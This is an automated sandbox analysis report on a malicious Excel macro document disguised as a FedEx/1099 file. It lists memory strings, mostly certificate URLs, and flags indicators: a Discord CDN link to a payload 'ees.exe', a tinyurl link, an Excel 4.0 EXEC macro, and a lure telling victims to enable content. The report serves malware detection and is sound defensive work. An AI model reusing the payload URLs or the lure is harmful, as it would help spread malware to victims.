Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.net/docs
Source: o.exe, 00000010.00000003.2131439374.000000001D153000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
Source: o.exe, 00000010.00000003.2131439374.000000001D153000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: o.exe, 00000010.00000002.2141296727.000000001D137000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/seccli/repository/CRL.der0J
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/secsrv/repository/CRL.der0J
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: o.exe, 00000010.00000002.2141086169.000000001D0C7000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/publicnotaryroot.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/publicnotaryroot.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: o.exe, 00000010.00000002.2141397608.000000001D155000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0r
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/TrustedCertificateServices.crl0:
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.oces.certifikat.dk/oces.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0L
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crt.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crt0%
Source: o.exe, 00000010.00000002.2132356801.000000000034B000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp, o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp, o.exe, 00000010.00000003.2129295825.000000001D0EF000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca4.com0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://repository.infonotary.com/cps/qcps.html0$
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: Robocopy.exe, 00000007.00000002.2110204380.0000000002A40000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2133317799.0000000002530000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: o.exe, 00000010.00000002.2141573754.000000001D2B0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: Robocopy.exe, 00000007.00000002.2110204380.0000000002A40000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2133317799.0000000002530000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0;
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at0E
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.acabogacia.org/doc0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.acabogacia.org0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0;
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certifikat.dk/repository0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class1.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://www.comsign.co.il/cps0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.crc.bg0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca0f
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.dnie.es/dpc0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: o.exe, 00000010.00000002.2141122352.000000001D0D7000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://www.echoworx.com/ca/root2/cps.pdf0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/Client1.crl0
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.firmaprofesional.com0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0=
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: o.exe, 00000010.00000002.2141086169.000000001D0C7000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0%
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp, o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.post.trust.ie/reposit/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.registradores.org/scr/normativa/cp_f2.htm0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.rootca.or.kr/rca/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/current.crl0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/de/directory/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/cps/0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/juur/crl/0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/guidelines0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustdst.com/certificates/policy/ACES-index.html0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.1
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.com/1
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.wellsfargo.com/certpolicy0
Source: o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: o.exe, 00000010.00000002.2141296727.000000001D137000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/seccli/repository/CPS0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/secsrv/repository/CPS0
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393171507/778732067705454592/ees.exe
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393?
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393x
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: https://secure.a-cert.at/cgi-bin/a-cert-advanced.cgi0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://tinyurl.com
Source: o.exe, 00000010.00000002.2137406124.000000000351E000.00000004.00000001.sdmp	String found in binary or memory: https://tinyurl.com/y3m5fwhq
Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.net/docs

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Document image extraction number: 0	Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content"
Source: Document image extraction number: 0	Screenshot OCR: Enable Content"
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content"
Source: Document image extraction number: 0	Screenshot OCR: Enable Content"

Found Excel 4.0 Macro with suspicious formulas

Source: 1099008FEDEX_090887766.xls	Initial sample: EXEC
Source: 1099008FEDEX_090887766.xls	Initial sample: EXEC

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Users\user\AppData\Roaming\vc.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Detected potential crypto function

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB88DA4		16_2_000000013FB88DA4
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB89264		16_2_000000013FB89264
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB886BC		16_2_000000013FB886BC
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8BB84		16_2_000000013FB8BB84
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB879B8		16_2_000000013FB879B8
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB88DA4		16_2_000000013FB88DA4
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB89264		16_2_000000013FB89264
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB886BC		16_2_000000013FB886BC
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8BB84		16_2_000000013FB8BB84
